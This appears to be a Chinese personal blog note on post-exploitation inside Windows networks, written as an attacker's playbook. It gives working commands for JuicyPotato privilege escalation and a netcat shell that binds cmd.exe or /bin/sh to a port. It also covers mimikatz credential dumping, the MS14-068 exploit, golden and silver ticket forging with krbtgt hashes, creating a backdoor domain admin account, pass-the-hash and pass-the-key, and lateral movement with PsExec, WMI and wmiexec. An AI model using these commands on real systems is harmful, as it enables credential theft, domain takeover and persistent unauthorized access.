内网渗透探索
内网渗透探索
记录一下内网渗透的思路,写入马儿(这里有两个链接)连接后的操作,先用虚拟终端执行
1 | whoami 查看用户权限 |
这里可以注意一下两个内容,一个是域那里,可以看看有没有进行域渗透的可能;二是看修补程序那里,比如现在得到的信息是
1 | 修补程序: 安装了 2 个修补程序。 |
我们可以使用在线工具去查看没有打的补丁,然后进行一个权的提,当然我们也可以直接使用一个工具
win的提权神器juicypotato(烂土豆)
先执行
1 | whoami /priv |
如果开启 SeImpersonate 权限,juicypotato 的参数可以使用 -t t
如果开启 SeAssignPrimaryToken 权限,juicypotato 的参数可以使用 -t u
如果均开启,可以选择 -t *
如果均未开启,那么无法提权
这里顺便附上一些其它权限的提权技巧
1 | JuicyPotato.exe -t * -p c:\windows\system32\cmd.exe -l 1111 -c {5B3E6773-3A99-4A3D-8096-7765DD11785C} |
这里有可用CLSID的列表
这里 -l后面跟一个系统没占用的端口就行
内网代理
先理解一下正向代理和反向代理
正向代理:当客户端无法访问外部资源的时候(由于诸如墙这样的原因),可以通过一个正向代理去间接访问,所以客户端需要配置代理服务器的ip。正向代理是一个位于客户端和原始服务器之间的服务器,为了从原始服务器取得内容,客户端向代理发送一个请求并指定目标(原始服务器),然后代理向原始服务器转交请求并将获得的内容返回给客户端。客户端必须要进行一些特别的设置才能使用正向代理。
反向代理:客户端是无感知代理的存在,以代理服务器来接受internet上的连接请求,然后将请求转发给内部网络上的服务器,并将从服务器上得到的结果返回给internet上请求连接的客户端。
而我们往往需要得到目标机器的通道,需要做到内网穿透,主要有以下方式
反弹shell
- 从目标机器能够反弹shell到攻击者的外网vps,攻击者通过反弹回来的shell能够很方便的对目标内网进行扫描,这就是反向代理的一种表现形式
端口转发
- 通过指定一条专门的通道,能够对目标内网某台机器的某个具体端口进行访问,这种端口转发通常是一对一的
sock代理或者http代理
- 开通一条专门的通道,并且提供http代理或者sock代理。攻击者可以通过配置响应的代理,直接访问目标内网任意机器,这就是正向代理的一种表现形式
这里有常见的内网穿透工具使用方法
netcat
客户端
nc -lvp 8888 -e /bin/sh
nc -lvp 8888 -e c:\windows\system32\cmd.exe
服务端
nc 服务端ip 8888
内网渗透-PTT&PTH&PTK利用
PTT
Kerberos认证
Kerberos认证是一种网络身份验证协议,在其中有三个主要角色Client、Server和KDC
KDC(Key Distribution Center)密钥分发中心,其中分为两个部分:
Authentication Service(AS,身份验证服务)
Ticket Granting Service(TGS,票据授权服务)
DC指的是Domain Controller,俗称的域控,AD指的是Active Directory,活动目录
在DC中有一个特殊用户叫做 krbtgt,它是一个无法登录的账户,是在创建域的时候系统自动创建的,在整个kerberos认证中会多次用到它的Hash值去做验证
AD会维护一个Account Database 它存储了域中所有用户的密码hash和白名单,只有账户密码都在白名单的Client才能申请到TGT
认证的流程
当Client想要访问Server上的某个服务时,需要先向AS证明自己的身份,验证通过后AS会分发一个TGT,随后Client再次向TGS证明自己的身份,验证通过后TGS会发放一个ST,最后Client向Server发起认证请求,这个过程分成三步
在Kerberos认证中,Client通过AS(身份认证服务)认证后,AS会给Client一个
Logon Session Key和TGT,而Logon Session Key并不会保存在KDC中,krbtgt的NTLM Hash又是固定的,所以只要得到krbtgt的NTLM Hash,就可以伪造TGT和Logon Session Key来进入下一步Client与TGS的交互。而已有了金票后,就跳过AS验证,不用验证账户和密码,所以也不担心域管密码修改。
实操
假设我们登录到了一个目标服务器的用户,可以尝试
net config workstation 查看域名信息
nltest /dsgetdc:域名 查看dc主机名
上传mimikatz,用管理员权限打开
log
privilege::debug //提权
sekurlsa::logonpasswords
打开log可以得到一些用户的明文密码,用ms14-068.exe
ms14-068.exe -u 域成员名@域名 -s 域成员sid -d 域控地址 -p 域成员密码
这里的地址是ip,然后成功后会创建.ccache文件
kerberos::purge //清空票据
kerberos:list //查看当前票据
kerberos::ptc 票据地址 //导入凭证ccache
klist //查看票据
然后可以用net use进行登录 或者使用psexec wmi进行远程执行命令
net use \\192.168.xxx.x\\c$
黄金票据Golden ticket
先登录域控
lsadump::dcsync /domain:xxx.com /all /csv //得到krbtgt的hash
lsadump::dcsync /domain:xxx.com /user:krbtgt //得到krbtgt的SID
lsadump::dcsync /user:krbtgt //得到hash和SID
lsadump::lsa /patch //得到hash
然后用普通账户的mimikatz生成金票
1
2
3
4
5
6
7 mimikatz.exe "kerberos::golden /admin:system /domain:xxx.com /sid:S-x-x-xxx /krbtgt:xxxx /ticket:ticket.kirbi"
/admin:伪造的用户名
/domain:域名称
/sid:SID值,注意是去掉最后一个-后面的值
/krbtgt:krbtgt的HASH值
/ticket:生成的票据名称 //不是写入内存中的命令!
kerberos::list //查看当前票据
kerberos::purge //清空票据
kerberos::ptt ticket.kirbi //导入票据
net user kkk 123123@qq /add /domain
net group “domain admins” kkk /add /domain //创建域控账户
可以用
net time /domain //查看域名主机
dir \xxx\c$
所以获得黄金票据的条件有
- 域名字
- 域的SID
- 域控的krbtgt账户的密码hash
- 任意域用户名
而获取krbtgt的hash需要域管理员的权限,所以进行黄金票据攻击,实际上是一种留后门的攻击方式,方便进行二次攻击
银票Silver ticket
只需要Server用户的hash就可以伪造ST,但是这个伪造的票据只对部分服务起作用
kerberos::golden /domain:<域名> /sid:<域 SID> /target:<目标服务器主机名> /service:<服务类型> /rc4:
/user:<用户名> /ptt
Service Type | Service Silver Tickets |
---|---|
WMI | HOST RPCSS |
PowerShell Remoting | HOST HTTP |
WinRM | HOST HTTP |
Scheduled Tasks | HOST |
Windows File Share (CIFS) | CIFS |
LDAP operations includingMimikatz DCSync | LDAP |
Windows Remote Server Administration Tools | RPCSS LDAP CIFS |
PTH(Pass The Hash)
pass the hash原理:
- 在Windows系统中,通常会使用NTLM身份认证
- NTLM认证不使用明文口令,而是使用口令加密后的hash值,hash值由系统API生成(例如LsaLogonUser)
- hash分为LM hash和NT hash,如果密码长度大于15,那么无法生成LM hash。从Windows Vista和Windows Server 2008开始,微软默认禁用LM hash
- 如果攻击者获得了hash,就能够在身份验证的时候模拟该用户(即跳过调用API生成hash的过程)
这类攻击适用于:
- 域/工作组环境
- 可以获得hash,但是条件不允许对hash爆破
- 内网中存在和当前机器相同的密码
先用mimikatz
privilege::debug
sekurlsa::logonpasswords
sekurlsa::pth /user:administrator /domain:xxx /ntlm:xxx
成功后会弹出一个cmd
PTK(Pass The Key)
针对于pth打了补丁的情况
privilege::debug
sekurlsa::ekeys
sekurlsa::pth /user:xxx /domain:xxx /aes256:xxx
如果拒绝访问的话尝试安装kb2871997补丁
1.pth(lm 或 ntlm):没打补丁用户都可以连接,打了补丁只能 administrator 连接
2.ptk(ekeys aes256):打了补丁才能用户都可以连接,采用 aes256 连接
https://www.freebuf.com/column/220740.html
3.#PTT 攻击的部分就不是简单的 NTLM 认证了,它是利用 Kerberos 协议进行攻击的,这里就介绍三种常见的攻击方法:MS14-068,Golden ticket,SILVER ticket,简单来说就是将连接合法的票据注入到内存中实现连接。
MS14-068 基于漏洞,Golden ticket(黄金票据),SILVER ticket(白银票据)
其中 Golden ticket(黄金票据),SILVER ticket(白银票据)属于权限维持技术
(1)MS14-068 造成的危害是允许域内任何一个普通用户,将自己提升至域管权限。微软给出的补丁是kb3011780
内网横向移动
PsExec
- psexec远程运行需要远程计算机启用文件和打印共享且默认的Admin$共享映射到C:windows目录。
- psexec建立连接之后目标机器上会被安装一个“PSEXESVC”服务。但是psexec安全退出之后这个服务会自动删除(在命令行下使用exit命令退出)。
由于是官方软件,所以不会被杀,并且可能服务器管理员为了方便就已经安装了该软件,但是创建服务有日志,有可能会被溯源
条件
- 需要目标机器开启了ADMIN$共享(默认开启)
- 建立了IPC连接,可以不输入账号密码连接到CMD窗口
首先登录到域内的普通用户
net view /domain //查看域名
net view /domain:xxxx //查看域
nslookup \\xx //定位ip
IPC$(Internet Process Connection)是“进程间通信”的简称,其本质是一个共享的“命名管道”资源,主要的作用是为了让进程间通信而开放一个命名管道,通过提供可信任的用户名和口令,从而到达连接双方可以建立一个安全的通道并以此进行加密数据交换的功能,最终显现出来的效果就是能够实现对远程计算机的访问。
其实说白了IPC$有点类似于共享目录,但功能比他多得多。通过IPC$与目标机建立连接,不仅可以访问目标机器中的文件,进行上传、下载,还可以在目标机上运行命令。使用下面的命令就可以很轻松地创建一个IPC$连接了。
开启条件
- 目标机开启了139和445端口
- 目标主机管理员开启了ipc$默认共享
- 知道目标机的账号密码
Net use \<目标机IP>\ipc$ “password” /user:”username”
若无IPC
psexec.exe \\192.168.xxx.xxx -u xxx -p xxx
若有IPC,则不需要验证
psexec.exe -accepteula \\192.168.xxx.xxx -s cmd.exe
WMI
WMI是“Windows Management Instrumentation”的缩写,WMI是从Windows98开始,系统自带的一系列工具集。WMI提供了/node选项,可以通过135端口上的RPC服务进行远程访问,或者执行远程命令
WMI是“Windows Management Instrumentation”的缩写,WMI是从Windows98开始,系统自带的一系列工具集。WMI提供了/node选项,可以通过135端口上的RPC服务进行远程访问,或者执行远程命令
但是wmic是没法回显的,只能把结果保存在本地然后用type读取
wmic /node:192.168.183.130/user:administrator /password:Liu78963 process call create “cmd.exe /c<命令> > C:\result.txt”
Type \192.168.x.xx\c$\result.txt
也可以用py脚本直接获得交互shell
python3 wmiexec.py administrator:域名@username@ip
python3 wmiexec.py -hashes lmhash:nthash 域名/username@ip